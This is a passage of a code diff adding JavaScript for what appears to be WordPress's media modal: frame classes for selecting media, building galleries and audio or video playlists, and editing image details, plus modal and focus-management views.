+			this.$el.addClass('hide-toolbar');
+			content.view = new media.view.Iframe({
+				controller: this
+			});
+		},
+
+		iframeContentCleanup: function() {
+			this.$el.removeClass('hide-toolbar');
+		},
+
+		iframeMenu: function( view ) {
+			var views = {};
+
+			if ( ! view ) {
+				return;
+			}
+
+			_.each( media.view.settings.tabs, function( title, id ) {
+				views[ 'iframe:' + id ] = {
+					text: this.state( 'iframe:' + id ).get('title'),
+					priority: 200
+				};
+			}, this );
+
+			view.set( views );
+		},
+
+		hijackThickbox: function() {
+			var frame = this;
+
+			if ( ! window.tb_remove || this._tb_remove ) {
+				return;
+			}
+
+			this._tb_remove = window.tb_remove;
+			window.tb_remove = function() {
+				frame.close();
+				frame.reset();
+				frame.setState( frame.options.state );
+				frame._tb_remove.call( window );
+			};
+		},
+
+		restoreThickbox: function() {
+			if ( ! this._tb_remove ) {
+				return;
+			}
+
+			window.tb_remove = this._tb_remove;
+			delete this._tb_remove;
+		}
+	});
+
+	// Map some of the modal's methods to the frame.
+	_.each(['open','close','attach','detach','escape'], function( method ) {
+		/**
+		 * @returns {wp.media.view.MediaFrame} Returns itself to allow chaining
+		 */
+		media.view.MediaFrame.prototype[ method ] = function() {
+			if ( this.modal ) {
+				this.modal[ method ].apply( this.modal, arguments );
+			}
+			return this;
+		};
+	});
+
+	/**
+	 * wp.media.view.MediaFrame.Select
+	 *
+	 * A frame for selecting an item or items from the media library.
+	 *
+	 * @class
+	 * @augments wp.media.view.MediaFrame
+	 * @augments wp.media.view.Frame
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 * @mixes wp.media.controller.StateMachine
+	 */
+	media.view.MediaFrame.Select = media.view.MediaFrame.extend({
+		initialize: function() {
+			// Call 'initialize' directly on the parent class.
+			media.view.MediaFrame.prototype.initialize.apply( this, arguments );
+
+			_.defaults( this.options, {
+				selection: [],
+				library:   {},
+				multiple:  false,
+				state:    'library'
+			});
+
+			this.createSelection();
+			this.createStates();
+			this.bindHandlers();
+		},
+
+		/**
+		 * Attach a selection collection to the frame.
+		 *
+		 * A selection is a collection of attachments used for a specific purpose
+		 * by a media frame. e.g. Selecting an attachment (or many) to insert into
+		 * post content.
+		 *
+		 * @see media.model.Selection
+		 */
+		createSelection: function() {
+			var selection = this.options.selection;
+
+			if ( ! (selection instanceof media.model.Selection) ) {
+				this.options.selection = new media.model.Selection( selection, {
+					multiple: this.options.multiple
+				});
+			}
+
+			this._selection = {
+				attachments: new media.model.Attachments(),
+				difference: []
+			};
+		},
+
+		/**
+		 * Create the default states on the frame.
+		 */
+		createStates: function() {
+			var options = this.options;
+
+			if ( this.options.states ) {
+				return;
+			}
+
+			// Add the default states.
+			this.states.add([
+				// Main states.
+				new media.controller.Library({
+					library:   media.query( options.library ),
+					multiple:  options.multiple,
+					title:     options.title,
+					priority:  20
+				})
+			]);
+		},
+
+		/**
+		 * Bind region mode event callbacks.
+		 *
+		 * @see media.controller.Region.render
+		 */
+		bindHandlers: function() {
+			this.on( 'router:create:browse', this.createRouter, this );
+			this.on( 'router:render:browse', this.browseRouter, this );
+			this.on( 'content:create:browse', this.browseContent, this );
+			this.on( 'content:render:upload', this.uploadContent, this );
+			this.on( 'toolbar:create:select', this.createSelectToolbar, this );
+		},
+
+		/**
+		 * Render callback for the router region in the `browse` mode.
+		 *
+		 * @param {wp.media.view.Router} routerView
+		 */
+		browseRouter: function( routerView ) {
+			routerView.set({
+				upload: {
+					text:     l10n.uploadFilesTitle,
+					priority: 20
+				},
+				browse: {
+					text:     l10n.mediaLibraryTitle,
+					priority: 40
+				}
+			});
+		},
+
+		/**
+		 * Render callback for the content region in the `browse` mode.
+		 *
+		 * @param {wp.media.controller.Region} contentRegion
+		 */
+		browseContent: function( contentRegion ) {
+			var state = this.state();
+
+			this.$el.removeClass('hide-toolbar');
+
+			// Browse our library of attachments.
+			contentRegion.view = new media.view.AttachmentsBrowser({
+				controller: this,
+				collection: state.get('library'),
+				selection:  state.get('selection'),
+				model:      state,
+				sortable:   state.get('sortable'),
+				search:     state.get('searchable'),
+				filters:    state.get('filterable'),
+				date:       state.get('date'),
+				display:    state.has('display') ? state.get('display') : state.get('displaySettings'),
+				dragInfo:   state.get('dragInfo'),
+
+				idealColumnWidth: state.get('idealColumnWidth'),
+				suggestedWidth:   state.get('suggestedWidth'),
+				suggestedHeight:  state.get('suggestedHeight'),
+
+				AttachmentView: state.get('AttachmentView')
+			});
+		},
+
+		/**
+		 * Render callback for the content region in the `upload` mode.
+		 */
+		uploadContent: function() {
+			this.$el.removeClass( 'hide-toolbar' );
+			this.content.set( new media.view.UploaderInline({
+				controller: this
+			}) );
+		},
+
+		/**
+		 * Toolbars
+		 *
+		 * @param {Object} toolbar
+		 * @param {Object} [options={}]
+		 * @this wp.media.controller.Region
+		 */
+		createSelectToolbar: function( toolbar, options ) {
+			options = options || this.options.button || {};
+			options.controller = this;
+
+			toolbar.view = new media.view.Toolbar.Select( options );
+		}
+	});
+
+	/**
+	 * wp.media.view.MediaFrame.Post
+	 *
+	 * The frame for manipulating media on the Edit Post page.
+	 *
+	 * @class
+	 * @augments wp.media.view.MediaFrame.Select
+	 * @augments wp.media.view.MediaFrame
+	 * @augments wp.media.view.Frame
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 * @mixes wp.media.controller.StateMachine
+	 */
+	media.view.MediaFrame.Post = media.view.MediaFrame.Select.extend({
+		initialize: function() {
+			this.counts = {
+				audio: {
+					count: media.view.settings.attachmentCounts.audio,
+					state: 'playlist'
+				},
+				video: {
+					count: media.view.settings.attachmentCounts.video,
+					state: 'video-playlist'
+				}
+			};
+
+			_.defaults( this.options, {
+				multiple:  true,
+				editing:   false,
+				state:    'insert',
+				metadata:  {}
+			});
+
+			// Call 'initialize' directly on the parent class.
+			media.view.MediaFrame.Select.prototype.initialize.apply( this, arguments );
+			this.createIframeStates();
+
+		},
+
+		/**
+		 * Create the default states.
+		 */
+		createStates: function() {
+			var options = this.options;
+
+			this.states.add([
+				// Main states.
+				new media.controller.Library({
+					id:         'insert',
+					title:      l10n.insertMediaTitle,
+					priority:   20,
+					toolbar:    'main-insert',
+					filterable: 'all',
+					library:    media.query( options.library ),
+					multiple:   options.multiple ? 'reset' : false,
+					editable:   true,
+
+					// If the user isn't allowed to edit fields,
+					// can they still edit it locally?
+					allowLocalEdits: true,
+
+					// Show the attachment display settings.
+					displaySettings: true,
+					// Update user settings when users adjust the
+					// attachment display settings.
+					displayUserSettings: true
+				}),
+
+				new media.controller.Library({
+					id:         'gallery',
+					title:      l10n.createGalleryTitle,
+					priority:   40,
+					toolbar:    'main-gallery',
+					filterable: 'uploaded',
+					multiple:   'add',
+					editable:   false,
+
+					library:  media.query( _.defaults({
+						type: 'image'
+					}, options.library ) )
+				}),
+
+				// Embed states.
+				new media.controller.Embed( { metadata: options.metadata } ),
+
+				new media.controller.EditImage( { model: options.editImage } ),
+
+				// Gallery states.
+				new media.controller.GalleryEdit({
+					library: options.selection,
+					editing: options.editing,
+					menu:    'gallery'
+				}),
+
+				new media.controller.GalleryAdd(),
+
+				new media.controller.Library({
+					id:         'playlist',
+					title:      l10n.createPlaylistTitle,
+					priority:   60,
+					toolbar:    'main-playlist',
+					filterable: 'uploaded',
+					multiple:   'add',
+					editable:   false,
+
+					library:  media.query( _.defaults({
+						type: 'audio'
+					}, options.library ) )
+				}),
+
+				// Playlist states.
+				new media.controller.CollectionEdit({
+					type: 'audio',
+					collectionType: 'playlist',
+					title:          l10n.editPlaylistTitle,
+					SettingsView:   media.view.Settings.Playlist,
+					library:        options.selection,
+					editing:        options.editing,
+					menu:           'playlist',
+					dragInfoText:   l10n.playlistDragInfo,
+					dragInfo:       false
+				}),
+
+				new media.controller.CollectionAdd({
+					type: 'audio',
+					collectionType: 'playlist',
+					title: l10n.addToPlaylistTitle
+				}),
+
+				new media.controller.Library({
+					id:         'video-playlist',
+					title:      l10n.createVideoPlaylistTitle,
+					priority:   60,
+					toolbar:    'main-video-playlist',
+					filterable: 'uploaded',
+					multiple:   'add',
+					editable:   false,
+
+					library:  media.query( _.defaults({
+						type: 'video'
+					}, options.library ) )
+				}),
+
+				new media.controller.CollectionEdit({
+					type: 'video',
+					collectionType: 'playlist',
+					title:          l10n.editVideoPlaylistTitle,
+					SettingsView:   media.view.Settings.Playlist,
+					library:        options.selection,
+					editing:        options.editing,
+					menu:           'video-playlist',
+					dragInfoText:   l10n.videoPlaylistDragInfo,
+					dragInfo:       false
+				}),
+
+				new media.controller.CollectionAdd({
+					type: 'video',
+					collectionType: 'playlist',
+					title: l10n.addToVideoPlaylistTitle
+				})
+			]);
+
+			if ( media.view.settings.post.featuredImageId ) {
+				this.states.add( new media.controller.FeaturedImage() );
+			}
+		},
+
+		bindHandlers: function() {
+			var handlers, checkCounts;
+
+			media.view.MediaFrame.Select.prototype.bindHandlers.apply( this, arguments );
+
+			this.on( 'activate', this.activate, this );
+
+			// Only bother checking media type counts if one of the counts is zero
+			checkCounts = _.find( this.counts, function( type ) {
+				return type.count === 0;
+			} );
+
+			if ( typeof checkCounts !== 'undefined' ) {
+				this.listenTo( media.model.Attachments.all, 'change:type', this.mediaTypeCounts );
+			}
+
+			this.on( 'menu:create:gallery', this.createMenu, this );
+			this.on( 'menu:create:playlist', this.createMenu, this );
+			this.on( 'menu:create:video-playlist', this.createMenu, this );
+			this.on( 'toolbar:create:main-insert', this.createToolbar, this );
+			this.on( 'toolbar:create:main-gallery', this.createToolbar, this );
+			this.on( 'toolbar:create:main-playlist', this.createToolbar, this );
+			this.on( 'toolbar:create:main-video-playlist', this.createToolbar, this );
+			this.on( 'toolbar:create:featured-image', this.featuredImageToolbar, this );
+			this.on( 'toolbar:create:main-embed', this.mainEmbedToolbar, this );
+
+			handlers = {
+				menu: {
+					'default': 'mainMenu',
+					'gallery': 'galleryMenu',
+					'playlist': 'playlistMenu',
+					'video-playlist': 'videoPlaylistMenu'
+				},
+
+				content: {
+					'embed':          'embedContent',
+					'edit-image':     'editImageContent',
+					'edit-selection': 'editSelectionContent'
+				},
+
+				toolbar: {
+					'main-insert':      'mainInsertToolbar',
+					'main-gallery':     'mainGalleryToolbar',
+					'gallery-edit':     'galleryEditToolbar',
+					'gallery-add':      'galleryAddToolbar',
+					'main-playlist':	'mainPlaylistToolbar',
+					'playlist-edit':	'playlistEditToolbar',
+					'playlist-add':		'playlistAddToolbar',
+					'main-video-playlist': 'mainVideoPlaylistToolbar',
+					'video-playlist-edit': 'videoPlaylistEditToolbar',
+					'video-playlist-add': 'videoPlaylistAddToolbar'
+				}
+			};
+
+			_.each( handlers, function( regionHandlers, region ) {
+				_.each( regionHandlers, function( callback, handler ) {
+					this.on( region + ':render:' + handler, this[ callback ], this );
+				}, this );
+			}, this );
+		},
+
+		activate: function() {
+			// Hide menu items for states tied to particular media types if there are no items
+			_.each( this.counts, function( type ) {
+				if ( type.count < 1 ) {
+					this.menuItemVisibility( type.state, 'hide' );
+				}
+			}, this );
+		},
+
+		mediaTypeCounts: function( model, attr ) {
+			if ( typeof this.counts[ attr ] !== 'undefined' && this.counts[ attr ].count < 1 ) {
+				this.counts[ attr ].count++;
+				this.menuItemVisibility( this.counts[ attr ].state, 'show' );
+			}
+		},
+
+		// Menus
+		/**
+		 * @param {wp.Backbone.View} view
+		 */
+		mainMenu: function( view ) {
+			view.set({
+				'library-separator': new media.View({
+					className: 'separator',
+					priority: 100
+				})
+			});
+		},
+
+		menuItemVisibility: function( state, visibility ) {
+			var menu = this.menu.get();
+			if ( visibility === 'hide' ) {
+				menu.hide( state );
+			} else if ( visibility === 'show' ) {
+				menu.show( state );
+			}
+		},
+		/**
+		 * @param {wp.Backbone.View} view
+		 */
+		galleryMenu: function( view ) {
+			var lastState = this.lastState(),
+				previous = lastState && lastState.id,
+				frame = this;
+
+			view.set({
+				cancel: {
+					text:     l10n.cancelGalleryTitle,
+					priority: 20,
+					click:    function() {
+						if ( previous ) {
+							frame.setState( previous );
+						} else {
+							frame.close();
+						}
+
+						// Keep focus inside media modal
+						// after canceling a gallery
+						this.controller.modal.focusManager.focus();
+					}
+				},
+				separateCancel: new media.View({
+					className: 'separator',
+					priority: 40
+				})
+			});
+		},
+
+		playlistMenu: function( view ) {
+			var lastState = this.lastState(),
+				previous = lastState && lastState.id,
+				frame = this;
+
+			view.set({
+				cancel: {
+					text:     l10n.cancelPlaylistTitle,
+					priority: 20,
+					click:    function() {
+						if ( previous ) {
+							frame.setState( previous );
+						} else {
+							frame.close();
+						}
+					}
+				},
+				separateCancel: new media.View({
+					className: 'separator',
+					priority: 40
+				})
+			});
+		},
+
+		videoPlaylistMenu: function( view ) {
+			var lastState = this.lastState(),
+				previous = lastState && lastState.id,
+				frame = this;
+
+			view.set({
+				cancel: {
+					text:     l10n.cancelVideoPlaylistTitle,
+					priority: 20,
+					click:    function() {
+						if ( previous ) {
+							frame.setState( previous );
+						} else {
+							frame.close();
+						}
+					}
+				},
+				separateCancel: new media.View({
+					className: 'separator',
+					priority: 40
+				})
+			});
+		},
+
+		// Content
+		embedContent: function() {
+			var view = new media.view.Embed({
+				controller: this,
+				model:      this.state()
+			}).render();
+
+			this.content.set( view );
+
+			if ( ! isTouchDevice ) {
+				view.url.focus();
+			}
+		},
+
+		editSelectionContent: function() {
+			var state = this.state(),
+				selection = state.get('selection'),
+				view;
+
+			view = new media.view.AttachmentsBrowser({
+				controller: this,
+				collection: selection,
+				selection:  selection,
+				model:      state,
+				sortable:   true,
+				search:     false,
+				dragInfo:   true,
+
+				AttachmentView: media.view.Attachment.EditSelection
+			}).render();
+
+			view.toolbar.set( 'backToLibrary', {
+				text:     l10n.returnToLibrary,
+				priority: -100,
+
+				click: function() {
+					this.controller.content.mode('browse');
+				}
+			});
+
+			// Browse our library of attachments.
+			this.content.set( view );
+
+			// Trigger the controller to set focus
+			this.trigger( 'edit:selection', this );
+		},
+
+		editImageContent: function() {
+			var image = this.state().get('image'),
+				view = new media.view.EditImage( { model: image, controller: this } ).render();
+
+			this.content.set( view );
+
+			// after creating the wrapper view, load the actual editor via an ajax call
+			view.loadEditor();
+
+		},
+
+		// Toolbars
+
+		/**
+		 * @param {wp.Backbone.View} view
+		 */
+		selectionStatusToolbar: function( view ) {
+			var editable = this.state().get('editable');
+
+			view.set( 'selection', new media.view.Selection({
+				controller: this,
+				collection: this.state().get('selection'),
+				priority:   -40,
+
+				// If the selection is editable, pass the callback to
+				// switch the content mode.
+				editable: editable && function() {
+					this.controller.content.mode('edit-selection');
+				}
+			}).render() );
+		},
+
+		/**
+		 * @param {wp.Backbone.View} view
+		 */
+		mainInsertToolbar: function( view ) {
+			var controller = this;
+
+			this.selectionStatusToolbar( view );
+
+			view.set( 'insert', {
+				style:    'primary',
+				priority: 80,
+				text:     l10n.insertIntoPost,
+				requires: { selection: true },
+
+				/**
+				 * @fires wp.media.controller.State#insert
+				 */
+				click: function() {
+					var state = controller.state(),
+						selection = state.get('selection');
+
+					controller.close();
+					state.trigger( 'insert', selection ).reset();
+				}
+			});
+		},
+
+		/**
+		 * @param {wp.Backbone.View} view
+		 */
+		mainGalleryToolbar: function( view ) {
+			var controller = this;
+
+			this.selectionStatusToolbar( view );
+
+			view.set( 'gallery', {
+				style:    'primary',
+				text:     l10n.createNewGallery,
+				priority: 60,
+				requires: { selection: true },
+
+				click: function() {
+					var selection = controller.state().get('selection'),
+						edit = controller.state('gallery-edit'),
+						models = selection.where({ type: 'image' });
+
+					edit.set( 'library', new media.model.Selection( models, {
+						props:    selection.props.toJSON(),
+						multiple: true
+					}) );
+
+					this.controller.setState('gallery-edit');
+
+					// Keep focus inside media modal
+					// after jumping to gallery view
+					this.controller.modal.focusManager.focus();
+				}
+			});
+		},
+
+		mainPlaylistToolbar: function( view ) {
+			var controller = this;
+
+			this.selectionStatusToolbar( view );
+
+			view.set( 'playlist', {
+				style:    'primary',
+				text:     l10n.createNewPlaylist,
+				priority: 100,
+				requires: { selection: true },
+
+				click: function() {
+					var selection = controller.state().get('selection'),
+						edit = controller.state('playlist-edit'),
+						models = selection.where({ type: 'audio' });
+
+					edit.set( 'library', new media.model.Selection( models, {
+						props:    selection.props.toJSON(),
+						multiple: true
+					}) );
+
+					this.controller.setState('playlist-edit');
+
+					// Keep focus inside media modal
+					// after jumping to playlist view
+					this.controller.modal.focusManager.focus();
+				}
+			});
+		},
+
+		mainVideoPlaylistToolbar: function( view ) {
+			var controller = this;
+
+			this.selectionStatusToolbar( view );
+
+			view.set( 'video-playlist', {
+				style:    'primary',
+				text:     l10n.createNewVideoPlaylist,
+				priority: 100,
+				requires: { selection: true },
+
+				click: function() {
+					var selection = controller.state().get('selection'),
+						edit = controller.state('video-playlist-edit'),
+						models = selection.where({ type: 'video' });
+
+					edit.set( 'library', new media.model.Selection( models, {
+						props:    selection.props.toJSON(),
+						multiple: true
+					}) );
+
+					this.controller.setState('video-playlist-edit');
+
+					// Keep focus inside media modal
+					// after jumping to video playlist view
+					this.controller.modal.focusManager.focus();
+				}
+			});
+		},
+
+		featuredImageToolbar: function( toolbar ) {
+			this.createSelectToolbar( toolbar, {
+				text:  l10n.setFeaturedImage,
+				state: this.options.state
+			});
+		},
+
+		mainEmbedToolbar: function( toolbar ) {
+			toolbar.view = new media.view.Toolbar.Embed({
+				controller: this
+			});
+		},
+
+		galleryEditToolbar: function() {
+			var editing = this.state().get('editing');
+			this.toolbar.set( new media.view.Toolbar({
+				controller: this,
+				items: {
+					insert: {
+						style:    'primary',
+						text:     editing ? l10n.updateGallery : l10n.insertGallery,
+						priority: 80,
+						requires: { library: true },
+
+						/**
+						 * @fires wp.media.controller.State#update
+						 */
+						click: function() {
+							var controller = this.controller,
+								state = controller.state();
+
+							controller.close();
+							state.trigger( 'update', state.get('library') );
+
+							// Restore and reset the default state.
+							controller.setState( controller.options.state );
+							controller.reset();
+						}
+					}
+				}
+			}) );
+		},
+
+		galleryAddToolbar: function() {
+			this.toolbar.set( new media.view.Toolbar({
+				controller: this,
+				items: {
+					insert: {
+						style:    'primary',
+						text:     l10n.addToGallery,
+						priority: 80,
+						requires: { selection: true },
+
+						/**
+						 * @fires wp.media.controller.State#reset
+						 */
+						click: function() {
+							var controller = this.controller,
+								state = controller.state(),
+								edit = controller.state('gallery-edit');
+
+							edit.get('library').add( state.get('selection').models );
+							state.trigger('reset');
+							controller.setState('gallery-edit');
+						}
+					}
+				}
+			}) );
+		},
+
+		playlistEditToolbar: function() {
+			var editing = this.state().get('editing');
+			this.toolbar.set( new media.view.Toolbar({
+				controller: this,
+				items: {
+					insert: {
+						style:    'primary',
+						text:     editing ? l10n.updatePlaylist : l10n.insertPlaylist,
+						priority: 80,
+						requires: { library: true },
+
+						/**
+						 * @fires wp.media.controller.State#update
+						 */
+						click: function() {
+							var controller = this.controller,
+								state = controller.state();
+
+							controller.close();
+							state.trigger( 'update', state.get('library') );
+
+							// Restore and reset the default state.
+							controller.setState( controller.options.state );
+							controller.reset();
+						}
+					}
+				}
+			}) );
+		},
+
+		playlistAddToolbar: function() {
+			this.toolbar.set( new media.view.Toolbar({
+				controller: this,
+				items: {
+					insert: {
+						style:    'primary',
+						text:     l10n.addToPlaylist,
+						priority: 80,
+						requires: { selection: true },
+
+						/**
+						 * @fires wp.media.controller.State#reset
+						 */
+						click: function() {
+							var controller = this.controller,
+								state = controller.state(),
+								edit = controller.state('playlist-edit');
+
+							edit.get('library').add( state.get('selection').models );
+							state.trigger('reset');
+							controller.setState('playlist-edit');
+						}
+					}
+				}
+			}) );
+		},
+
+		videoPlaylistEditToolbar: function() {
+			var editing = this.state().get('editing');
+			this.toolbar.set( new media.view.Toolbar({
+				controller: this,
+				items: {
+					insert: {
+						style:    'primary',
+						text:     editing ? l10n.updateVideoPlaylist : l10n.insertVideoPlaylist,
+						priority: 140,
+						requires: { library: true },
+
+						click: function() {
+							var controller = this.controller,
+								state = controller.state(),
+								library = state.get('library');
+
+							library.type = 'video';
+
+							controller.close();
+							state.trigger( 'update', library );
+
+							// Restore and reset the default state.
+							controller.setState( controller.options.state );
+							controller.reset();
+						}
+					}
+				}
+			}) );
+		},
+
+		videoPlaylistAddToolbar: function() {
+			this.toolbar.set( new media.view.Toolbar({
+				controller: this,
+				items: {
+					insert: {
+						style:    'primary',
+						text:     l10n.addToVideoPlaylist,
+						priority: 140,
+						requires: { selection: true },
+
+						click: function() {
+							var controller = this.controller,
+								state = controller.state(),
+								edit = controller.state('video-playlist-edit');
+
+							edit.get('library').add( state.get('selection').models );
+							state.trigger('reset');
+							controller.setState('video-playlist-edit');
+						}
+					}
+				}
+			}) );
+		}
+	});
+
+	/**
+	 * wp.media.view.MediaFrame.ImageDetails
+	 *
+	 * A media frame for manipulating an image that's already been inserted
+	 * into a post.
+	 *
+	 * @class
+	 * @augments wp.media.view.MediaFrame.Select
+	 * @augments wp.media.view.MediaFrame
+	 * @augments wp.media.view.Frame
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 * @mixes wp.media.controller.StateMachine
+	 */
+	media.view.MediaFrame.ImageDetails = media.view.MediaFrame.Select.extend({
+		defaults: {
+			id:      'image',
+			url:     '',
+			menu:    'image-details',
+			content: 'image-details',
+			toolbar: 'image-details',
+			type:    'link',
+			title:    l10n.imageDetailsTitle,
+			priority: 120
+		},
+
+		initialize: function( options ) {
+			this.image = new media.model.PostImage( options.metadata );
+			this.options.selection = new media.model.Selection( this.image.attachment, { multiple: false } );
+			media.view.MediaFrame.Select.prototype.initialize.apply( this, arguments );
+		},
+
+		bindHandlers: function() {
+			media.view.MediaFrame.Select.prototype.bindHandlers.apply( this, arguments );
+			this.on( 'menu:create:image-details', this.createMenu, this );
+			this.on( 'content:create:image-details', this.imageDetailsContent, this );
+			this.on( 'content:render:edit-image', this.editImageContent, this );
+			this.on( 'toolbar:render:image-details', this.renderImageDetailsToolbar, this );
+			// override the select toolbar
+			this.on( 'toolbar:render:replace', this.renderReplaceImageToolbar, this );
+		},
+
+		createStates: function() {
+			this.states.add([
+				new media.controller.ImageDetails({
+					image: this.image,
+					editable: false
+				}),
+				new media.controller.ReplaceImage({
+					id: 'replace-image',
+					library:   media.query( { type: 'image' } ),
+					image: this.image,
+					multiple:  false,
+					title:     l10n.imageReplaceTitle,
+					toolbar: 'replace',
+					priority:  80,
+					displaySettings: true
+				}),
+				new media.controller.EditImage( {
+					image: this.image,
+					selection: this.options.selection
+				} )
+			]);
+		},
+
+		imageDetailsContent: function( options ) {
+			options.view = new media.view.ImageDetails({
+				controller: this,
+				model: this.state().image,
+				attachment: this.state().image.attachment
+			});
+		},
+
+		editImageContent: function() {
+			var state = this.state(),
+				model = state.get('image'),
+				view;
+
+			if ( ! model ) {
+				return;
+			}
+
+			view = new media.view.EditImage( { model: model, controller: this } ).render();
+
+			this.content.set( view );
+
+			// after bringing in the frame, load the actual editor via an ajax call
+			view.loadEditor();
+
+		},
+
+		renderImageDetailsToolbar: function() {
+			this.toolbar.set( new media.view.Toolbar({
+				controller: this,
+				items: {
+					select: {
+						style:    'primary',
+						text:     l10n.update,
+						priority: 80,
+
+						click: function() {
+							var controller = this.controller,
+								state = controller.state();
+
+							controller.close();
+
+							// not sure if we want to use wp.media.string.image which will create a shortcode or
+							// perhaps wp.html.string to at least to build the <img />
+							state.trigger( 'update', controller.image.toJSON() );
+
+							// Restore and reset the default state.
+							controller.setState( controller.options.state );
+							controller.reset();
+						}
+					}
+				}
+			}) );
+		},
+
+		renderReplaceImageToolbar: function() {
+			var frame = this,
+				lastState = frame.lastState(),
+				previous = lastState && lastState.id;
+
+			this.toolbar.set( new media.view.Toolbar({
+				controller: this,
+				items: {
+					back: {
+						text:     l10n.back,
+						priority: 20,
+						click:    function() {
+							if ( previous ) {
+								frame.setState( previous );
+							} else {
+								frame.close();
+							}
+						}
+					},
+
+					replace: {
+						style:    'primary',
+						text:     l10n.replace,
+						priority: 80,
+
+						click: function() {
+							var controller = this.controller,
+								state = controller.state(),
+								selection = state.get( 'selection' ),
+								attachment = selection.single();
+
+							controller.close();
+
+							controller.image.changeAttachment( attachment, state.display( attachment ) );
+
+							// not sure if we want to use wp.media.string.image which will create a shortcode or
+							// perhaps wp.html.string to at least to build the <img />
+							state.trigger( 'replace', controller.image.toJSON() );
+
+							// Restore and reset the default state.
+							controller.setState( controller.options.state );
+							controller.reset();
+						}
+					}
+				}
+			}) );
+		}
+
+	});
+
+	/**
+	 * wp.media.view.Modal
+	 *
+	 * A modal view, which the media modal uses as its default container.
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.Modal = media.View.extend({
+		tagName:  'div',
+		template: media.template('media-modal'),
+
+		attributes: {
+			tabindex: 0
+		},
+
+		events: {
+			'click .media-modal-backdrop, .media-modal-close': 'escapeHandler',
+			'keydown': 'keydown'
+		},
+
+		initialize: function() {
+			_.defaults( this.options, {
+				container: document.body,
+				title:     '',
+				propagate: true,
+				freeze:    true
+			});
+
+			this.focusManager = new media.view.FocusManager({
+				el: this.el
+			});
+		},
+		/**
+		 * @returns {Object}
+		 */
+		prepare: function() {
+			return {
+				title: this.options.title
+			};
+		},
+
+		/**
+		 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+		 */
+		attach: function() {
+			if ( this.views.attached ) {
+				return this;
+			}
+
+			if ( ! this.views.rendered ) {
+				this.render();
+			}
+
+			this.$el.appendTo( this.options.container );
+
+			// Manually mark the view as attached and trigger ready.
+			this.views.attached = true;
+			this.views.ready();
+
+			return this.propagate('attach');
+		},
+
+		/**
+		 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+		 */
+		detach: function() {
+			if ( this.$el.is(':visible') ) {
+				this.close();
+			}
+
+			this.$el.detach();
+			this.views.attached = false;
+			return this.propagate('detach');
+		},
+
+		/**
+		 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+		 */
+		open: function() {
+			var $el = this.$el,
+				options = this.options,
+				mceEditor;
+
+			if ( $el.is(':visible') ) {
+				return this;
+			}
+
+			if ( ! this.views.attached ) {
+				this.attach();
+			}
+
+			// If the `freeze` option is set, record the window's scroll position.
+			if ( options.freeze ) {
+				this._freeze = {
+					scrollTop: $( window ).scrollTop()
+				};
+			}
+
+			// Disable page scrolling.
+			$( 'body' ).addClass( 'modal-open' );
+
+			$el.show();
+
+			// Try to close the onscreen keyboard
+			if ( 'ontouchend' in document ) {
+				if ( ( mceEditor = window.tinymce && window.tinymce.activeEditor )  && ! mceEditor.isHidden() && mceEditor.iframeElement ) {
+					mceEditor.iframeElement.focus();
+					mceEditor.iframeElement.blur();
+
+					setTimeout( function() {
+						mceEditor.iframeElement.blur();
+					}, 100 );
+				}
+			}
+
+			this.$el.focus();
+
+			return this.propagate('open');
+		},
+
+		/**
+		 * @param {Object} options
+		 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+		 */
+		close: function( options ) {
+			var freeze = this._freeze;
+
+			if ( ! this.views.attached || ! this.$el.is(':visible') ) {
+				return this;
+			}
+
+			// Enable page scrolling.
+			$( 'body' ).removeClass( 'modal-open' );
+
+			// Hide modal and remove restricted media modal tab focus once it's closed
+			this.$el.hide().undelegate( 'keydown' );
+
+			// Put focus back in useful location once modal is closed
+			$('#wpbody-content').focus();
+
+			this.propagate('close');
+
+			// If the `freeze` option is set, restore the container's scroll position.
+			if ( freeze ) {
+				$( window ).scrollTop( freeze.scrollTop );
+			}
+
+			if ( options && options.escape ) {
+				this.propagate('escape');
+			}
+
+			return this;
+		},
+		/**
+		 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+		 */
+		escape: function() {
+			return this.close({ escape: true });
+		},
+		/**
+		 * @param {Object} event
+		 */
+		escapeHandler: function( event ) {
+			event.preventDefault();
+			this.escape();
+		},
+
+		/**
+		 * @param {Array|Object} content Views to register to '.media-modal-content'
+		 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+		 */
+		content: function( content ) {
+			this.views.set( '.media-modal-content', content );
+			return this;
+		},
+
+		/**
+		 * Triggers a modal event and if the `propagate` option is set,
+		 * forwards events to the modal's controller.
+		 *
+		 * @param {string} id
+		 * @returns {wp.media.view.Modal} Returns itself to allow chaining
+		 */
+		propagate: function( id ) {
+			this.trigger( id );
+
+			if ( this.options.propagate ) {
+				this.controller.trigger( id );
+			}
+
+			return this;
+		},
+		/**
+		 * @param {Object} event
+		 */
+		keydown: function( event ) {
+			// Close the modal when escape is pressed.
+			if ( 27 === event.which && this.$el.is(':visible') ) {
+				this.escape();
+				event.stopImmediatePropagation();
+			}
+		}
+	});
+
+	/**
+	 * wp.media.view.FocusManager
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 */
+	media.view.FocusManager = media.View.extend({
+
+		events: {
+			'keydown': 'constrainTabbing'
+		},
+
+		focus: function() { // Reset focus on first left menu item
+			this.$('.media-menu-item').first().focus();
+		},
+		/**
+		 * @param {Object} event
+		 */
+		constrainTabbing: function( event ) {
+			var tabbables;
+
+			// Look for the tab key.
+			if ( 9 !== event.keyCode ) {
+				return;
+			}
+
+			tabbables = this.$( ':tabbable' );
+
+			// Keep tab focus within media modal while it's open
+			if ( tabbables.last()[0] === event.target && ! event.shiftKey ) {
+				tabbables.first().focus();
+				return false;
+			} else if ( tabbables.first()[0] === event.target && event.shiftKey ) {
+				tabbables.last().focus();
+				return false;
+			}
+		}
+
+	});
+
+	/**
+	 * wp.media.view.UploaderWindow
+	 *
+	 * An uploader window that allows for dragging and dropping media.
+	 *
+	 * @class
+	 * @augments wp.media.View
+	 * @augments wp.Backbone.View
+	 * @augments Backbone.View
+	 *
